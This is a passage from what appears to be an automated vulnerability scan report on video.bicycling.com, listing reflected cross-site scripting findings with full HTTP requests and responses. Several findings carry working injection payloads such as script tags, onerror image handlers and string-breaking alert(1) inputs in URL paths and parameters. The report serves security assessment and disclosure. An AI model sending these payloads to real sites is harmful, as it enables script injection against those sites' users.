Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=f899d191af7c22c1f7a0d0e1386c14d2; path=/; expires=Fri, 11-Mar-2011 16:44:02 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 48385
Date: Thu, 10 Mar 2011 16:44:02 GMT
X-Varnish: 908964950
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
y=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/decor26fed"><script>alert(1)</script>9e0a4c4a3bd/track/dot.gif%0AServer: video.bicycling.com%0APath: /decor26fed">
...[SNIP]...

2.26. http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a97d9"><script>alert(1)</script>e8ac7dae2c2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embeda97d9"><script>alert(1)</script>e8ac7dae2c2/player/C5QKZB153SRSPSH2 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://www.bicycling.com/sites/default/files/iframe_filter/268f584d3b19887c40f44a57f48e6677.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=2a4c00ff48e7215ac18c7ed1cef158b5; path=/; expires=Fri, 11-Mar-2011 16:39:44 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 48403
Date: Thu, 10 Mar 2011 16:39:44 GMT
X-Varnish: 908926565
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
y=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/embeda97d9"><script>alert(1)</script>e8ac7dae2c2/player/C5QKZB153SRSPSH2%0AServer: video.bicycling.com%0APath: /embeda97d9">
...[SNIP]...

2.27. http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8083"><script>alert(1)</script>a57d2418089 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed/playerc8083"><script>alert(1)</script>a57d2418089/C5QKZB153SRSPSH2 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://www.bicycling.com/sites/default/files/iframe_filter/268f584d3b19887c40f44a57f48e6677.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=05fe7f9cdfd092cf9a871960c881b0f7; path=/; expires=Fri, 11-Mar-2011 16:39:57 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 48403
Date: Thu, 10 Mar 2011 16:39:57 GMT
X-Varnish: 908928432
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/embed/playerc8083"><script>alert(1)</script>a57d2418089/C5QKZB153SRSPSH2%0AServer: video.bicycling.com%0APath: /embed/playerc8083">
...[SNIP]...

2.28. http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/C5QKZB153SRSPSH2

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d752c'%3balert(1)//9a41a55a16c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d752c';alert(1)//9a41a55a16c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed/player/C5QKZB153SRSPSH2?d752c'%3balert(1)//9a41a55a16c=1 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://www.bicycling.com/sites/default/files/iframe_filter/268f584d3b19887c40f44a57f48e6677.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Date: Thu, 10 Mar 2011 16:39:32 GMT
X-Varnish: 908924841
Age: 0
Via: 1.1 varnish
Connection: keep-alive
Content-Length: 3468

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <title>Embedded Display for Bicycling</title>
   <meta http-equiv="Content-Type" content="text/h
...[SNIP]...
<script type="text/javascript">
var totalWidth, totalHeight, playerRoot = '/embed/player/', cid = "", referrerObj = {}, referrer = "", queryString = "";
cid = "C5QKZB153SRSPSH2";
queryString = 'd752c';alert(1)//9a41a55a16c=1';
try {
   referrerObj = {
referer: 'http://www.bicycling.com/sites/default/files/iframe_filter/268f584d3b19887c40f44a57f48e6677.html',
host: 'video.bicycling.com'
};
   referrer = referrerObj.referer !
...[SNIP]...

2.29. http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/1075/949/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6db69"><script>alert(1)</script>64709e7443c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed6db69"><script>alert(1)</script>64709e7443c/player/container/1075/949/C5QKZB153SRSPSH2?referrer=NaN HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=f899d191af7c22c1f7a0d0e1386c14d2; path=/; expires=Fri, 11-Mar-2011 16:50:11 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 48221
Date: Thu, 10 Mar 2011 16:50:11 GMT
X-Varnish: 909019055
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
y=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/embed6db69"><script>alert(1)</script>64709e7443c/player/container/1075/949/C5QKZB153SRSPSH2%0AServer: video.bicycling.com%0APath: /embed6db69">
...[SNIP]...

2.30. http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/1075/949/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload add39"><script>alert(1)</script>a90a4b2fe50 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed/playeradd39"><script>alert(1)</script>a90a4b2fe50/container/1075/949/C5QKZB153SRSPSH2?referrer=NaN HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=f899d191af7c22c1f7a0d0e1386c14d2; path=/; expires=Fri, 11-Mar-2011 16:50:14 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 48221
Date: Thu, 10 Mar 2011 16:50:14 GMT
X-Varnish: 909019416
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/embed/playeradd39"><script>alert(1)</script>a90a4b2fe50/container/1075/949/C5QKZB153SRSPSH2%0AServer: video.bicycling.com%0APath: /embed/playeradd39">
...[SNIP]...

2.31. http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/1075/949/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload b5829<img%20src%3da%20onerror%3dalert(1)>1d66e8cc452 was submitted in the REST URL parameter 4. This input was echoed as b5829<img src=a onerror=alert(1)>1d66e8cc452 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /embed/player/container/1075b5829<img%20src%3da%20onerror%3dalert(1)>1d66e8cc452/949/C5QKZB153SRSPSH2?referrer=NaN HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 86069
Date: Thu, 10 Mar 2011 16:50:30 GMT
X-Varnish: 909022053
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
<style type="text/css">
   body { font: 12px geneva, helvetica, sans-serif; margin: 0px; background-color: #FFFFFF; width: 1075b5829<img src=a onerror=alert(1)>1d66e8cc452px; height: 949px; }
   #magnify_widget_loading_indicator { height: 66px; width: 1075b5829<img src=a onerror=alert(1)>
...[SNIP]...

2.32. http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://video.bicycling.com
Path:	/embed/player/container/1075/949/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload caf64'%3be6b49ff826f was submitted in the REST URL parameter 4. This input was echoed as caf64';e6b49ff826f in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /embed/player/container/1075caf64'%3be6b49ff826f/949/C5QKZB153SRSPSH2?referrer=NaN HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 85899
Date: Thu, 10 Mar 2011 16:50:24 GMT
X-Varnish: 909021125
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
ponents/';
           var toolRoot = '/embed/player/templates/compact/modules/';
           var isIE = navigator.userAgent.indexOf("MSIE");
           document.body.style.height = '949px';
           document.body.style.width = '1075caf64';e6b49ff826fpx';
           var isSSO = '';
           var widgetCID = 'C5QKZB153SRSPSH2';
           var currentCID = '21CQ460F9BWWZSF9';
           var width = '1075caf64';e6b49ff826f';
           var height = '949';
           var playerWidth = 1059;
           var
...[SNIP]...

2.33. http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://video.bicycling.com
Path:	/embed/player/container/1075/949/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4edad'%3bffee883830f was submitted in the REST URL parameter 5. This input was echoed as 4edad';ffee883830f in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /embed/player/container/1075/9494edad'%3bffee883830f/C5QKZB153SRSPSH2?referrer=NaN HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 85898
Date: Thu, 10 Mar 2011 16:50:39 GMT
X-Varnish: 909023253
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
ot = '/embed/player/templates/compact/components/';
           var toolRoot = '/embed/player/templates/compact/modules/';
           var isIE = navigator.userAgent.indexOf("MSIE");
           document.body.style.height = '9494edad';ffee883830fpx';
           document.body.style.width = '1075px';
           var isSSO = '';
           var widgetCID = 'C5QKZB153SRSPSH2';
           var currentCID = '21CQ460F9BWWZSF9';
           var width = '1075';
           var height = '9494edad';ffee883
...[SNIP]...

2.34. http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/1075/949/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload b5c89<img%20src%3da%20onerror%3dalert(1)>9da1d521d39 was submitted in the REST URL parameter 5. This input was echoed as b5c89<img src=a onerror=alert(1)>9da1d521d39 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /embed/player/container/1075/949b5c89<img%20src%3da%20onerror%3dalert(1)>9da1d521d39/C5QKZB153SRSPSH2?referrer=NaN HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 86023
Date: Thu, 10 Mar 2011 16:50:45 GMT
X-Varnish: 909024039
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
<style type="text/css">
   body { font: 12px geneva, helvetica, sans-serif; margin: 0px; background-color: #FFFFFF; width: 1075px; height: 949b5c89<img src=a onerror=alert(1)>9da1d521d39px; }
   #magnify_widget_loading_indicator { height: 66px; width: 1075px; position: absolute; top: 441.5px; text-align: center; }

           /* make sure that the add-this flash object that keeps showing up at
...[SNIP]...

2.35. http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/1075/949/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6bfa7"><script>alert(1)</script>0e1ff1c94dc was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed/player/container/1075/949/C5QKZB153SRSPSH26bfa7"><script>alert(1)</script>0e1ff1c94dc?referrer=NaN HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=8d883e03604c96a77a2b7af093324533; path=/; expires=Fri, 11-Mar-2011 16:50:47 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-Cached: No
Content-Length: 48399
Date: Thu, 10 Mar 2011 16:50:47 GMT
X-Varnish: 909024303
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
elp us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH26bfa7"><script>alert(1)</script>0e1ff1c94dc%0AServer: video.bicycling.com%0APath: /embed/player/container/1075/949/C5QKZB153SRSPSH26bfa7">
...[SNIP]...

2.36. http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [referrer parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/1075/949/C5QKZB153SRSPSH2

Issue detail

The value of the referrer request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77465'%3balert(1)//f52713f5f05 was submitted in the referrer parameter. This input was echoed as 77465';alert(1)//f52713f5f05 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed/player/container/1075/949/C5QKZB153SRSPSH2?referrer=NaN77465'%3balert(1)//f52713f5f05 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 85815
Date: Thu, 10 Mar 2011 16:50:09 GMT
X-Varnish: 909018827
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
%3A55&footer_height=0&content_type=content_item&read_more=0";
var this_embed_url = 'http://' + window.location.hostname + '/embed/player/C5QKZB153SRSPSH2;'
var magnifyReferrer = decodeURIComponent('NaN77465';alert(1)//f52713f5f05');

var magnifyViewer = '//w-c/C5QKZB153SRSPSH2';
var registrationRequired = false;

           var playerRoot = '/embed/player/';
           var componentRoot = '/embed/player/templates/compact/components/';
           va
...[SNIP]...

2.37. http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/298/275/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bf17"><script>alert(1)</script>6f4cc8b73d4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed8bf17"><script>alert(1)</script>6f4cc8b73d4/player/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
